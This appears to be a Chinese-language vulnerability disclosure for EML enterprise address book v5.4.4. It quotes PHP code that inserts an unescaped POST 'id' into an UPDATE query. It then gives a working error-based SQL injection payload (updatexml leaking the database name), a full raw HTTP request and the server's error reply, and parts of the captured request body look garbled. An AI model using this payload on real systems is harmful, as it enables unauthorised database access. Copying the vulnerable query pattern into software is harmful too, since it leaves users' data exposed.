

eml企业通讯录管理系统 v5.4.4 SQL注入

漏洞描述

EML企业通讯录管理系统,是基于Linux开放性内核和Apache基础上Php+Mysql的智能B/S交互式服务系统。eml企业通讯录管理系统 v5.4.4 更新个人信息页面ID参数过滤不严导致sql注入。

##漏洞分析##

```
if($do=="updata"){
    If_rabc($action,$do); //检测权限

    $name = _RunMagicQuotes($_POST[name]);
    $sex = _RunMagicQuotes($_POST[sex]);
    $tel = _RunMagicQuotes($_POST[tel]);
    $phone = _RunMagicQuotes($_POST[phone]);
    $email = _RunMagicQuotes($_POST[email]);
    $qq = _RunMagicQuotes($_POST[qq]);
    $deparment = _RunMagicQuotes($_POST[deparment]);
    $position = _RunMagicQuotes($_POST[position]);
    $address = _RunMagicQuotes($_POST[address]);

    if(!$_POST[id]){echo error($msg);exit;}
    $updated_at= time();
    $sql="UPDATE eml_user SET
    `name` = '$name',
    `sex` = '$sex',
    `deparment` = '$deparment',
    `position` = '$position',
    `phone` = '$phone',
    `tel` = '$tel',
    `email` = '$email',
    `qq` = '$qq',
    `address` = '$address',
    `updated_at` = '$updated_at' WHERE `id` = '$_POST[id]' LIMIT 1 ;";

    if($db->query($sql)){echo success($msg,"?action=address");}else{echo
error($msg);}
    exit;
}
```

通过代码可以看到 `$name`, `$sex`, `$tel` 等参数都用了 `_RunMagicQuotes` 函数过滤, 这边是没有注入点的。但是看倒数第三行, SQL语句中 update 语句的 id 参数直接从 `$_POST[id]` 获取, 导致SQL注入漏洞。

漏洞复现

登录eml通讯录管理系统, 进入个人中心。

```
http://localhost/index.php?action=user&do=edit&id=1
```

然后直接点击保存，抓包。将post表单里的 id参数 修改为：-1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#，重放数据包，返回页面报错显示当前数据库名称。

```
POST /index.php?action=user&do=update HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://localhost/index.php?action=user&do=edit&id=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 243
Cookie: Na_lvt_7b43330e4da6af4353e553908ee8a62=1531909690; hdsbase_firsttime=1532072101297; UserName=test; Password=4597f4b139555235248b2497399d7a93; Na_lvt_fef37dc341ca514857b70d0b150037e=1532077594; PHPSESSID=7adeefda1edeb15b703b0ae9351bc591; set_auth=13dct4743bea7c597cc0b8dcafdm173582ueAFFicHCvNUSeq5MUv8q210ckCaIFaheEBCTaB07xaiGV33eQ; met_key=3URHP41; recordur=12Chrtv253A1253P1253Flocalhost1253Findex.php1253F1ang1253Dcn1253Epagemet1253D1; upgraderemind=1; PHPSESSID=010f1mduvq15cu51j4be5c7; tm=143bcbcb330201c7c330304bc50fe5
Connection: close
Upgrade-Insecure-Requests: 1

id=-1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#
username=adminname=1E7B318B1E7B81971E7A2111E719018E1E25A9119564password=212322257a5a743B94a0e4e801fc34sex=1E7694B74p
home=123456789email=sqqr4deparment*position*address]
```

```
HTTP/1.1 200 OK
Date: Mon, 23 Jul 2018 07:44:37 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.3.29
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 59

<?mysql error:<?>1105:XPATH syntax error: '-cml-'<?>
```